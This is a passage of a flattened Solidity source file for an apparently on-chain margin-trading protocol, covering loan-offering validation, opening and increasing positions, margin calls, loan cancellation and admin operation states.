"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
